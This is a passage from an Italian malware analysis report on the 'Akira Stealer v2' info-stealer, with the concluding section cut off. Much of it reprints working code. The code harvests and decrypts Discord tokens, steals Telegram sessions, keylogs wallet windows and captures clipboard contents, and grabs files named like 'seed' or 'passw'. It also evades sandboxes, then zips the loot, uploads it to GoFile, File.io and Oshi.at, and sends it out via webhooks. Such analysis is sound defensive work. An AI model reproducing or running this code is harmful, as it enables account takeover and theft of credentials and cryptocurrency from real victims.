    if os.path.isdir(path):
        Utils.TaskKill(name.lower())
        dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
        shutil.copytree(path, dest, dirs_exist_ok=True)
        data.desktop_wallets_count += 1
  • Dati rubati: file keystore (*.dat, *.json), esportazioni di chiavi private, configurazione del wallet e cronologia delle transazioni.
  • Vantaggio: contenuti del wallet utilizzabili offline dall'attaccante per autorizzare transazioni.

7.8.3 Raccolta dei token Discord

I token Discord sono artefatti di autenticazione, in sostanza bearer token a lunga durata, che possono dare accesso completo all'account di un utente senza richiederne le credenziali o l'MFA. Akira sfrutta questo fatto scandagliando le cartelle dei dati di browser e app in cerca dei token memorizzati dai vari client Discord, tra cui Discord Stable, Canary, PTB (Public Test Build) e persino fork modificati come Lightcord.

La tecnica prende di mira i file LevelDB sotto il Local Storage dell'applicazione, dove i token di autenticazione restano spesso in chiaro. Con le espressioni regolari il malware analizza questi file .log e .ldb in cerca di pattern che corrispondano ai token utente normali o a quelli con MFA abilitata.

Per aumentare l'affidabilità e ridurre il rumore, Akira include un passo di validazione: invia una richiesta di test all'endpoint /users/@me di Discord usando ogni token raccolto. Solo i token che si autenticano con successo (HTTP 200) vengono esfiltrati via webhook, tipicamente verso un canale Discord controllato dall'attaccante.

Questo metodo permette agli attaccanti di impossessarsi degli account Discord in tempo reale, impersonare la vittima, raccogliere messaggi privati e server o distribuire ulteriore malware attraverso il social engineering, tutto senza far scattare gli avvisi di accesso.

import re, requests
patterns = [
    r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}",  # User tokens
    r"mfa\.[\w-]{84,100}"                      # MFA tokens
]
def harvest_discord(base, webhook_url):
    db_dir = os.path.join(base, "Local Storage", "leveldb")
    for file in os.listdir(db_dir):
        if file.endswith(('.log', '.ldb')):
            for line in open(os.path.join(db_dir, file), errors='ignore'):
                for pat in patterns:
                    for token in re.findall(pat, line):
                        # Verify token
                        h = {"Authorization": token}
                        r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
                        if r.status_code == 200:
                            uname = r.json()["username"] + "#" + r.json()["discriminator"]
                            payload = {"content": f"**Discord** {uname}: `{token}`"}
                            requests.post(webhook_url, json=payload)
  • Validazione: pubblica solo i token validi, evitando l'invio di JWT scaduti.

7.8.4 File di sessione Telegram

Obiettivi: Telegram Desktop/TData

def steal_telegram(tdata_path, dest_root):
    if os.path.exists(tdata_path):
        Utils.TaskKill("telegram.exe")
        dest = os.path.join(dest_root, "Wallets", "Telegram")
        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
        data.has_telegram = True
  • File: cartella tdata con le chiavi di sessione, cartella D877F... con i file secret e unsecret.
  • Uso: caricarli nel client Telegram dell'attaccante per accedere completamente all'account.

7.8.5 Keylogging dal vivo sui wallet

I wallet di criptovalute sono obiettivi primari per gli info-stealer moderni. Akira include un keylogger dal vivo pensato specificamente per rubare credenziali di wallet come seed phrase, chiavi private e password nel momento in cui vengono digitate. A differenza dei keylogger generici, questo si attiva solo quando rileva la finestra di un wallet noto, il che riduce drasticamente il rumore e aumenta l'efficienza.

Il modulo monitora i titoli delle finestre attive e li confronta con un elenco hardcoded di app di wallet popolari come MetaMask, Phantom, Atomic Wallet e altre. Quando una finestra corrispondente prende il focus, inizia a registrare i tasti premuti tramite hook di tastiera a livello di sistema. Quando l'utente preme Invio, il modulo cattura immediatamente il contenuto della clipboard, nella consapevolezza che gli utenti copiano spesso i segreti durante la configurazione o l'accesso al wallet, e invia al webhook dell'attaccante sia l'input digitato sia i dati della clipboard. L'approccio è estremamente efficace perché combina due vettori d'attacco:

  • Keylogging consapevole del contesto, per catturare gli input sensibili del wallet solo quando servono.
  • Hijacking della clipboard, per estrarre le frasi di recupero o gli indirizzi di destinazione copiati prima che vengano incollati.

Insieme, questi metodi permettono agli attaccanti di compromettere i wallet in silenzio e in tempo reale, anche senza accesso al browser o esfiltrazione di file.

import keyboard, pyperclip

class WalletKeylogger:
    def __init__(self, wallet_titles):
        self.buf = ""
        keyboard.on_release(self.capture)
        self.wallet_titles = wallet_titles

    def capture(self, event):
        title = pygetwindow.getActiveWindow().title
        if any(w in title for w in self.wallet_titles):
            if event.name == 'enter':
                data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
                send_to_webhook(data)
                self.buf = ""
            else:
                self.buf += event.name
  • Elenco di attivazione: titoli di finestra che contengono “MetaMask”, “Phantom”, “Atomic Wallet” e simili.
  • Clipboard: cattura seed o chiavi private copiate.

7.8.6 Confezionamento ed esfiltrazione

Dopo aver raccolto dati del browser, credenziali, informazioni sui wallet e token, Akira procede a consolidare ed esfiltrare il bottino in modo molto automatizzato e furtivo. Questa fase segna l'ultimo passo della catena di infezione ed è ottimizzata per affidabilità e minima impronta forense. Prima di tutto, tutti i dati raccolti, compresi i dump del browser, i log e le informazioni sui wallet ottenute dal keylogger, vengono compressi in un archivio ZIP. Così l'intero dataset può essere trasferito come payload unico. L'archivio viene poi caricato su diversi servizi pubblici di condivisione file come GoFile, File.io o Oshi.at, a seconda della disponibilità. Queste piattaforme offrono hosting anonimo e temporaneo e sono spesso usate per aggirare i firewall aziendali o i blocchi basati sulla reputazione. Allo stesso tempo viene generato un report strutturato e inviato all'attaccante tramite un webhook Discord o Telegram. Contiene statistiche di sintesi, quanti wallet sono stati trovati, quanti token erano validi, e un link diretto ai dati rubati. Questo dà agli attaccanti una panoramica rapida del valore del bersaglio senza dover aprire l'archivio.

Infine il malware cancella da disco la cartella temporanea e l'archivio, rimuovendo in pratica le prove forensi locali. Quando un difensore scopre l'infezione, i dati sono già andati, e spesso sono irrecuperabili.

# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
    "title": "💰 Wallet & Token Exfiltration Report",
    "fields": [
        {"name": "Extension Wallets", "value": data.ext_wallets_count},
        {"name": "Desktop Wallets",   "value": data.desktop_wallets_count},
        {"name": "Discord Tokens",    "value": len(valid_tokens)},
        {"name": "Telegram Sessions", "value": data.has_telegram},
        {"name": "Archive Link",      "value": url or "[upload failed]"},
    ]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()

7.9. Furto di token Discord e Telegram (classe: Discord)

La classe Discord di Akira Stealer v2 esegue un processo multistadio fortemente parallelizzato per raccogliere sia i token di autorizzazione Discord sia i dati di sessione Telegram. Qui sotto analizziamo ogni componente con riferimenti precisi al codice ed esempi illustrativi.

7.9.1 Inizializzazione ed enumerazione dei percorsi

All'istanziazione, il costruttore costruisce due insiemi di percorsi obiettivo:

# Discord client LevelDB directories
discord_paths = [
    [f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
    [f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
    ...
]

# Chromium-based browser LevelDB directories
browserPaths = [
    [f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
    [f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
    ...
]
  • I percorsi Discord puntano ai client Discord ufficiali e non ufficiali sotto %APPDATA%.
  • I percorsi dei browser coprono le cartelle dei dati utente dei browser più diffusi, comprese le sottocartelle per local storage ed estensioni.

Per ogni voce vengono avviati dei thread:

for patt in browserPaths:
    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
    t.start()
for patt in discord_paths:
    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
    t.start()

Questo modello a thread massimizza il throughput di I/O, sondando decine di directory in parallelo.

7.9.2 Logica di estrazione dei token

Raccolta di token in chiaro dai browser

get_btoken(path, arg) percorre ogni cartella LevelDB ed esamina i file .log e .ldb:

for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}", errors="ignore"):
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                tokens = re.findall(regex, line)
                for token in tokens:
                    self.tokens.append(token)
                    self.cehckToken(token)
  • La regex [\w-]{24}\.[\w-]{6}\.[\w-]{25,110} corrisponde ai token Discord standard.
  • La regex mfa\.[\w-]{80,95} cattura i token MFA.
  • La deduplicazione è implicita: i token vengono memorizzati in self.tokens prima della validazione.

Decifratura dei token cifrati nel client Discord

Il client di Discord cifra le voci di Local Storage con DPAPI, precedute da v10 o v11. get_discord(path, arg) gestisce questo caso:

# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
    local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)

# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}"):
            for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
                ciphertext = b64decode(token_part)
                token = self.decrypt_value(ciphertext, master_key)
                self.tokens.append(token)
                self.cehckToken(token)
  • Recupero della master key: rimuove l'header DPAPI di 5 byte, poi chiama CryptUnprotectData (che incapsula la DPAPI di Windows) per decifrare la chiave AES-GCM.
  • Interpretazione del payload: i token hanno il prefisso dQw4w9WgXcQ: (un marcatore scelto dall'attaccante). Dopo la decodifica Base64, decrypt_value() separa IV e testo cifrato:
    def decrypt\_value(buff, master\_key):
    iv = buff\[3:15]
    payload = buff\[15:]
    cipher = AES.new(master\_key, AES.MODE\_GCM, iv)
    return cipher.decrypt(payload)\[:-16].decode()
    

7.9.3 Validazione ed esfiltrazione dei token

Ogni token estratto viene validato con una chiamata API dal vivo:

headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
    self.cehckToken(token)
  • In caso di successo, cehckToken() decide se inviare via Telegram (useTg=True) o via webhook Discord:
    if useTg:
    self.sendTokenTg(token)
    else:
    self.send\_embed(token)
    
  • send_embed costruisce un embed Discord ricco, con i metadati dell'utente (nome utente, discriminator, email, stato Nitro, dati di fatturazione), usando i campi presi da
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
  • sendTokenTg invia una sintesi in testo semplice tramite l'API di Telegram.

7.9.4 Raccolta delle sessioni Telegram

Oltre ai token Discord, lo stealer si impossessa delle sessioni di Telegram Desktop:

@staticmethod
def steal_telegram():
    src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
    Utils.TaskKill("telegram.exe")
    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
  • Terminazione dei processi: garantisce il rilascio dei lock sui file.
  • Copia ricorsiva: sottrae la cartella tdata, comprese sessioni utente, contatti e messaggi in cache.
  • Esfiltrazione: la cartella rubata viene compressa in ZIP e caricata tramite sendFilesTG(), con il link di download incluso in un messaggio Telegram.

Il modulo Discord di Akira Stealer combina raccolta basata su regex, decifratura AES-GCM appoggiata a DPAPI, validazione dal vivo tramite API ed esfiltrazione su più protocolli (webhook più Telegram) per offrire una capacità di takeover degli account immediata su entrambe le piattaforme, Discord e Telegram.

7.10 Profilazione del sistema

Akira Stealer v2 integra un'ampia fase di profilazione del sistema per raccogliere metadati dell'host, attributi dell'ambiente e dettagli di rete. Queste informazioni vengono riunite nella classe Data e poi impacchettate insieme alle credenziali esfiltrate. Qui sotto scomponiamo la logica di profilazione con riferimenti diretti al codice.

7.10.1 Inizializzazione della classe Data

All'avvio viene creata un'istanza di Data:

class Data:
    def __init__(self):
        self.username = os.getlogin()
        self.computerName = os.getenv("computername") or "Unable to get computer name"
        self.system_info = f"Computer Name: {self.computerName}\n..."
        ...
        self.ip = requests.get(url="https://api.ipify.org").text
        ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
        self.country = ipdata.get("country")
        self.countryCode = ipdata.get("countryCode", "").lower()
  • Nome utente e hostname: recuperati tramite os.getlogin() e la variabile d'ambiente COMPUTERNAME.
  • Indirizzo IP: prelevato con requests.get("https://api.ipify.org") e poi geolocalizzato tramite ip-api.com per ottenere paese e codice ISO.

7.10.2 Enumerazione di sistema operativo e hardware

Tramite i comandi Windows Management Instrumentation (WMI):

# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)

I risultati vengono convertiti in stringhe leggibili (strip(), operazioni di indicizzazione) e concatenati in:

self.system_info = (
    f"Computer Name: {self.computerName}\n"
    f"Total Memory: {self.totalMemory}\n"
    f"CPU: {self.cpu}\n"
    f"GPU: {self.gpu}\n"
    f"Product Key: {self.productKey}"
)

7.10.3 Rilevamento delle VM e controlli anti sandbox

Prima della profilazione approfondita, il malware invoca VmProtect.isVM(level) per individuare ambienti di virtualizzazione o di analisi:

if VmProtect.isVM(1):
    sys.exit()

Tra i controlli principali:

  • Chiavi di registro e descrittori dei driver: interroga le voci di registro legate alla virtualizzazione.
  • UUID e nomi computer in blacklist: confronta con impronte di VM note.
  • Simulazione HTTP: tenta di connettersi a un dominio inesistente tramite HTTPS.
  • Blacklist di processi: avvia un thread in background per terminare strumenti come wireshark, ollydbg, ida64.

7.10.4 Confezionamento e trasmissione

Le informazioni raccolte in system_info, l'IP e la bandiera del paese vengono incorporate negli header del payload del webhook:

webhook_payload = {
    "embeds": [{
        "title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
        "description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
        "fields": [...]
    }]
}
requests.post(self.webhook_url, json=webhook_payload)
  • Emoji della bandiera: derivata dal codice paese ISO.
  • Campi: includono i conteggi di password rubate, cookie e altro, ma le informazioni di sistema stanno nella descrizione dell'embed per dare contesto immediato.

Sintesi: La profilazione del sistema in Akira Stealer v2 raccoglie dati completi su host e rete tramite comandi WMI, variabili d'ambiente e geolocalizzazione dell'IP. Unita al rilevamento delle VM e alle routine di terminazione degli strumenti, garantisce all'attaccante un'istantanea completa dell'ambiente compromesso, il che rende più efficaci le azioni di follow-up mirate e filtra le sandbox di analisi.

7.11 File grabber (classe: Utils.steal_files)

Oltre ai dati del browser e ai token, Akira cerca di estrarre anche contenuti di valore generati dall'utente, come documenti, fogli di calcolo, note private e file di chiavi crittografiche. Il modulo File Grabber si occupa di questo compito. Funziona scansionando le directory di maggior valore in cerca di tipi e pattern di file comuni, per poi aggiungerli in silenzio al pacchetto di esfiltrazione. Ciò che rende questo modulo particolarmente pericoloso è la sua semplicità unita alla sua messa a fuoco: non tenta di percorrere l'intero file system. Punta invece a posizioni specifiche e ad alta probabilità, dove i file sensibili vengono tipicamente conservati. Tra queste ci sono le directory Desktop, Documents, Downloads e OneDrive, ciascuna relativa al percorso home dell'utente. Questo approccio focalizzato migliora sia la velocità sia la furtività e riduce le probabilità di rilevamento durante la scansione. Evita anche di insospettire l'utente, perché non accede a directory di sistema o protette. Una volta individuati i file di interesse, vengono copiati in una cartella temporanea, eventualmente rinominati o raggruppati, e poi compressi nell'archivio ZIP finale che viene caricato nella fase di esfiltrazione.

7.11.1 Enumerazione delle directory obiettivo

Lo stealer si concentra su quattro cartelle a resa elevata:

searchFolders = [
    "Desktop",
    "Documents",
    "Downloads",
    "OneDrive"
]

Ogni cartella è interpretata come relativa alla directory home della vittima:

for folder in searchFolders:
    current_path = os.path.join(os.environ['USERPROFILE'], folder)
    if os.path.exists(current_path):
        # proceed to scan

7.11.2 Filtro per parole chiave ed estensioni

Elenco di parole chiave

Un insieme predefinito di sottostringhe guida la selezione dei file. Vengono considerati solo i nomi di file che contengono almeno una parola chiave:

keywordsFiles = [
    "passw", "seed", "mnemo", "phrase", "login", "wallet",
    "crypto", "token", "backup", "secret", "account"
]
  • Corrispondenze parziali: parole chiave come passw catturano sia passwords.txt sia passw_backup.docx.
  • Copertura ampia: comprende termini legati ad autenticazione, wallet, criptovalute e token.

7.11.3 Tipi di file ammessi

Per ridurre al minimo il rumore viene applicata una whitelist di estensioni:

allowed_extensions = [
    ".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
    ".jpg", ".png"
]

7.11.3 Vincolo di dimensione

I file più grandi di 2 megabyte vengono saltati, per ottimizzare la velocità di esfiltrazione ed evitare trasferimenti pesanti:

file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
    # eligible for copy

7.11.4 Scansione ricorsiva e logica di copia

Una volta identificate le directory di maggior valore, Akira avvia una routine di scansione ricorsiva per percorrere le sottocartelle e individuare i file che corrispondono a parole chiave ed estensioni specifiche. Questa fase è costruita per precisione e furtività: vengono considerati solo i file che soddisfano criteri predefiniti, come nomi che contengono parole chiave sensibili e tipi di file approvati. La logica fa sì che venga esfiltrato solo contenuto rilevante e generato dall'utente. Ignora file di sistema, cache e binari e limita la dimensione di ogni singolo file a 2 MB, per contenere il volume dell'upload e il rischio di rilevamento. Questo metodo di scansione è silenzioso, efficiente e ottimizzato per il furto di dati furtivo in ambienti reali. Copiando i file corrispondenti in una cartella di staging e tenendo un elenco di ciò che è stato prelevato, Akira prepara il contenuto per il confezionamento e l'esfiltrazione, riducendo al minimo duplicazioni e rumore operativo.

La routine centrale steal_files() funziona così:

@staticmethod
def steal_files():
    stolen_files = set()
    temp_folder = Utils.get_temp_folder()

    for folder in searchFolders:
        current_path = os.path.join(os.environ['USERPROFILE'], folder)
        if os.path.exists(current_path):
            for root, _, files in os.walk(current_path):
                for file in files:
                    lower = file.lower()
                    # Keyword check
                    if any(keyword in lower for keyword in keywordsFiles):
                        ext = os.path.splitext(lower)[1]
                        # Extension and size check
                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
                            # Prepare destination
                            files_dir = os.path.join(temp_folder, "Files")
                            os.makedirs(files_dir, exist_ok=True)
                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
                            stolen_files.add(file)
    data.stolen_files.extend(stolen_files)

Punti chiave:

  1. os.walk: scende in modo ricorsivo nelle sottodirectory.
  2. Corrispondenza senza distinzione tra maiuscole e minuscole: i nomi dei file vengono normalizzati con lower().
  3. Copia atomica: usa shutil.copy per preservare il contenuto dei file.
  4. Insieme dei nomi di file rubati: evita copie duplicate quando lo stesso file compare due volte.
  5. Integrazione con Data: data.stolen_files accumula l'elenco dei file rubati per la successiva segnalazione.

7.11.5 Archiviazione ed esfiltrazione

Dopo la raccolta, la cartella Files viene compressa in ZIP e spedita:

# Archive
Utils.zip_client_file()  # creates CLIENT.zip from temp_folder

# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
  • zip_client_file(): comprime l'intera directory temporanea, comprese Files, Cookies, Passwords e le altre.
  • sendFilesTG(): pubblica il link di download tramite webhook Telegram o Discord, elencando ogni nome di file rubato:
    fields.append({
    "name": "📂 Files",
    "value": "`" + "\n".join(data.stolen_files) + "`",
    "inline": False
    })
    

Conclusione:

Il File Grabber di Akira Stealer v2 dà la caccia in modo sistematico ai documenti sensibili usando filtri per parole chiave ed estensioni, rispetta un limite di 2 MB per ragioni di efficienza e consolida gli elementi rubati in un archivio. Il suo design garantisce insieme ampiezza (più cartelle) e precisione (filtri mirati), e lo rende uno degli stadi di maggiore impatto nel ciclo di vita del malware.

7.12 Strategia di esfiltrazione

Il modulo di esfiltrazione gestisce i token raccolti e gli artefatti aggiuntivi (cookie, compilazioni automatiche, log) collocandoli in una directory strutturata, comprimendoli in un archivio, caricandoli su più servizi di hosting online e inviando notifiche webhook dettagliate. Questa sezione scompone ogni passo con percorsi di file, endpoint di dominio e riferimenti al codice, per garantire piena tracciabilità.

7.12.1 Struttura delle directory e nomi dei file

Akira organizza tutti gli artefatti raccolti in una struttura di directory temporanea ordinata e gerarchica. Questo design consente un confezionamento efficiente e una facile revisione post esfiltrazione da parte dell'attaccante. Ogni categoria di dati, come Tokens, Cookies, Passwords o Screenshots, viene conservata in una propria sottocartella sotto un percorso radice chiamato come il computer della vittima (per esempio DESKTOP1234). Questa struttura garantisce chiarezza, riduce le duplicazioni e semplifica il processo di archiviazione e upload. Rende anche molto più semplice l'analisi automatica o l'ispezione manuale sul lato dell'attaccante.

C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│   ├ token_ab12cd34.txt
│   └ token_ef56gh78.txt
├─ Cookies\
│   ├ Chrome_Cookies.txt
│   └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\

7.12.2 Staging di token e artefatti

Prima dell'esfiltrazione, Akira colloca tutti gli artefatti rilevanti nelle sottocartelle corrispondenti. I valori dei token, per esempio, vengono scritti in singoli file .txt per facilitare una consultazione e una validazione rapide. Cookie, voci di compilazione automatica e password vengono scritti allo stesso modo in file di testo strutturati e denominati per browser. Questo passaggio standardizza la disposizione dei dati e permette a strumenti automatici di tenere traccia di ciò che è stato raccolto. Fa anche sì che l'archivio ZIP rispecchi poi un formato prevedibile e comodo per l'attaccante, indipendentemente da quali moduli sono stati attivati.

import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
    f.write(token)
  • I token sono salvati in piccoli file di testo separati per un'ispezione rapida.
  • I dump dei cookie da Chromium.GetCookies() vengono scritti in {Browser}_Cookies.txt.

7.13.3 Creazione dell'archivio ZIP

Completato lo staging, Akira comprime l'intera directory in un unico archivio ZIP. Il nome dell'archivio segue una convenzione coerente: _.zip, con il nome della macchina host e un timestamp UTC in formato ISO 8601. Questo garantisce sia univocità sia tracciabilità cronologica. Percorrendo in modo ricorsivo l'intera directory di staging, ogni file viene preservato con la sua struttura relativa all'interno dello ZIP. Il formato semplifica il recupero e l'ispezione in blocco da parte degli attaccanti, soprattutto quando centinaia di vittime vengono compromesse in parallelo.

import zipfile, datetime

def create_archive(root_dir: str) -> str:
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        for dirpath, _, files in os.walk(root_dir):
            for fname in files:
                full = os.path.join(dirpath, fname)
                rel = os.path.relpath(full, root_dir)
                zf.write(full, rel)
    return zip_path
  • L'archivio è chiamato DESKTOP1234_20250505T123456Z.zip per mantenere la coerenza con l'host.

Convenzione per il nome del file ZIP

L'archivio prende il nome del computer dell'host compromesso seguito da un timestamp UTC in formato ISO, così da garantire univocità e ordine cronologico.

import datetime, os

def create_archive(root_dir: str) -> str:
    # Generate UTC timestamp in YYYYMMDDThhmmssZ format
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    # Construct ZIP filename: <ComputerName>_<Timestamp>.zip
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    return zip_path

L'archivio prende il nome del computer dell'host compromesso seguito da un timestamp UTC in formato ISO, così da garantire univocità e ordine cronologico.

7.14.4 Flusso di upload

Akira usa una strategia di upload su tre livelli per massimizzare le probabilità di esfiltrazione riuscita. Tenta prima di caricare l'archivio su GoFile.io tramite la loro API pubblica, che restituisce un link di download. Se GoFile non è disponibile o è bloccato, ricade su File.io e poi su Oshi.at, così i dati vengono comunque trasferiti. Questi servizi offrono hosting anonimo e di breve durata, il che rende difficili takedown e tracciabilità. Lo script cattura l'URL di download finale e lo prepara per la consegna via webhook.

  1. Primario: GoFile.io
    • API per ottenere i server: GET https://api.gofile.io/servers
    • Endpoint di upload: POST https://<server>.gofile.io/contents/uploadfile
    • Campo della risposta: data.downloadPage contiene l'URL finale.
  2. Fallback n. 1: File.io
    • Endpoint di upload: POST https://file.io/ con files={'file': open(...)}
    • Risposta: campo JSON link.
  3. Fallback n. 2: Oshi.at
    • Endpoint di upload: POST http://oshi.at/ con files[] e i parametri expire=43200, autodestroy=0.
    • Risposta: testo semplice contenente DL: <url>.

Snippet di implementazione:

import requests

def upload_with_fallback(zip_path):
    # GoFile
    try:
        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
        for srv in servers:
            try:
                r = requests.post(
                    f'https://{srv}.gofile.io/contents/uploadfile',
                    files={'file': open(zip_path,'rb')}, timeout=20)
                url = r.json()['data']['downloadPage']
                if url: return url
            except: continue
    except: pass
    # File.io
    try:
        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
        return r.json().get('link','')
    except: pass
    # Oshi.at
    try:
        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
        return text.split('DL: ')[1].strip()
    except: pass
    return ''

7.15.5 Avvisi via webhook, recupero da parte dell'attaccante e limiti di visibilità per l'analista

Dopo aver caricato l'archivio ZIP, Akira invia una notifica webhook, tipicamente su Discord o Telegram, con un embed strutturato che contiene informazioni dettagliate: numero di token rubati, conteggio dei cookie, dimensione del file e un link di download cliccabile. Questo dà agli attaccanti un riscontro immediato e l'accesso al recupero. Per garantire affidabilità viene inviato anche un messaggio di fallback in testo semplice, che contiene solo il link all'archivio. Questa ridondanza garantisce la consegna anche se l'embed viene bloccato o filtrato dalla piattaforma. Dal punto di vista del difensore queste comunicazioni sono spesso invisibili, a meno che non sia attivo un monitoraggio del traffico di rete in uscita.

Notifica con embed

# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
    {'name':'🔑 Tokens','value':str(token_count),'inline':True},
    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
    'username':'Akira 💊',
    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
  • Consegna: inviata al canale Discord o Telegram dell'attaccante.
  • Link nell'embed: contiene un download_url cliccabile che punta allo ZIP su GoFile (o sull'host di fallback).

Fallback con link grezzo

# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
  • Testo semplice: garantisce la consegna del link nel caso in cui gli embed vengano bloccati o scartati in silenzio.

Come l'attaccante recupera il link

1. Infrastruttura di webhook L'attaccante incorpora l'endpoint del webhook nella configurazione del malware:

# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
  • Discord: https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>
  • Telegram: https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage

2. Consegna in tempo reale Subito dopo un upload riuscito, il malware esegue:

payload = {
  'username': 'Akira 💊',
  'embeds': [{
      'title': '🗄️ Exfiltration Complete',
      'fields': [
          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
      ]
  }]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
  • La variabile download_url viene interpolata nel campo fields.value dell'embed.
  • Per il fallback Telegram, il download_url compare nel parametro message in testo semplice.

3. Limiti di visibilità per EDR e analisi forense

  • Nessun logging locale: il malware non scrive il download_url su disco né nei log di sistema.
  • Punti ciechi degli EDR: strumenti come Microsoft Defender for Endpoint possono segnalare il tentativo di richiesta HTTP, ma non riescono a estrarre l'URL incorporato.

4. Perché l'analista non può recuperarlo in locale:

  • Nessuna copia locale del link: il malware scrive il download_url solo in memoria e lo trasmette in rete, non salva questo URL su disco né nei log.
  • Pulizia dello staging effimero: subito dopo l'upload il codice esegue:
    shutil.rmtree(ROOT),
    cancellando da %TEMP% tutti gli artefatti collocati in staging, compresi eventuali file di testo transitori.
  • Trasmissione solo via rete: le chiamate al webhook (requests.post) avvengono in memoria, sulla macchina della vittima non si creano log HTTP né voci nella cronologia del browser.

Implicazioni per gli analisti: Senza una cattura dei pacchetti dal vivo (per esempio un TAP di rete o un proxy) nel momento dell'esecuzione, il download_url esatto è irrecuperabile dopo l'infezione. Inoltre l'archivio esfiltrato viene cancellato automaticamente dal servizio di hosting, il che riduce ulteriormente la finestra per il recupero forense. Un'immagine del sistema o un recupero forense sull'host dopo l'infezione non rivelano l'URL dell'attaccante né le credenziali del servizio di hosting, perché in locale non resta alcun artefatto.

7.13 Conclusione

